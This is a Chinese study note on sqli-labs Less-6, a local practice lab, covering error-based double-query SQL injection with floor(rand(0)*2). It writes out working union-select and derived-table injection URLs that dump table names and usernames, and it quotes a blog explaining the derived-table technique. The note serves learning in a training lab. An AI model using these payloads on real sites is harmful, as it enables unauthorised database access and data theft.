updatexml,extractvalue报错只能显示32位,floor报错可以显示64位
联合查询
http://127.0.0.1/sqli-labs/less-6/?id=1" union select null,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from users group by x--+
其中1是因为联合查询列数要相同所以补个1,换成null也可以
users可以是任何存在的表
这里有个问题,不知道为什么最后爆字段的时候不能用group_concat(username),这样不会报错
http://127.0.0.1/sqli-labs/less-6/?id=1" union select null,count(*),concat((select group_concat(username) from users),floor(rand(0)*2))x from users group by x--+
只能用limit 一个个爆字段了
派生表
http://127.0.0.1/sqli-labs/less-6/?id=1" and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from users group by x)a)--+
这里同样在爆字段的时候也不能用group_concat(),但原因和前面的不同(至少报错了),这里报错原因是要求只有一行
以下内容摘自博客https://blog.csdn.net/weixin_39934520/article/details/105445492
子查询有两种:一是WHERE子句中的子查询;二是FROM子句中的子查询,这种子查询又被称为派生表。
WHERE子句中:SELECT column_name FROM table_name WHERE column_name IN (SELECT column_name FROM table_name WHERE condition)
FROM子句中:SELECT column_name FROM (SELECT column_name FROM table_name3 WHERE condition) derived_table_name WHERE condition
我们来看Less5中提到的两种报错方式,第一种是CONCAT子查询,第二种是派生表:
可以看出这两种实际上并无区别!
只是在Less5中select查询返回的字段数为3,足够在column_list中将count()和concat()都包含进去,所以用CONCAT子查询更简单。
而在Less17中update查询返回的字段数只有1!不足以使count()后接上concat()这样一个查询语句,这时候就只能通过派生表再将上一层子查询包裹起来,通过select 1 from (报错的CONCAT子查询) derived_table_name使注入查询的字段与update查询的字段数相等!
(严格来说,这里已经不能叫双注入而是三注入了,都称为子查询注入)(PS:小技巧:双注入有2个select,子查询有3个select)
所以,子查询注入重点在于控制子查询使涉及字段数相等。select使用union,update/delete/insert使用or。而CONCAT子查询或是派生表只是手段。
所以当查询字段数小于2时只可用派生表形式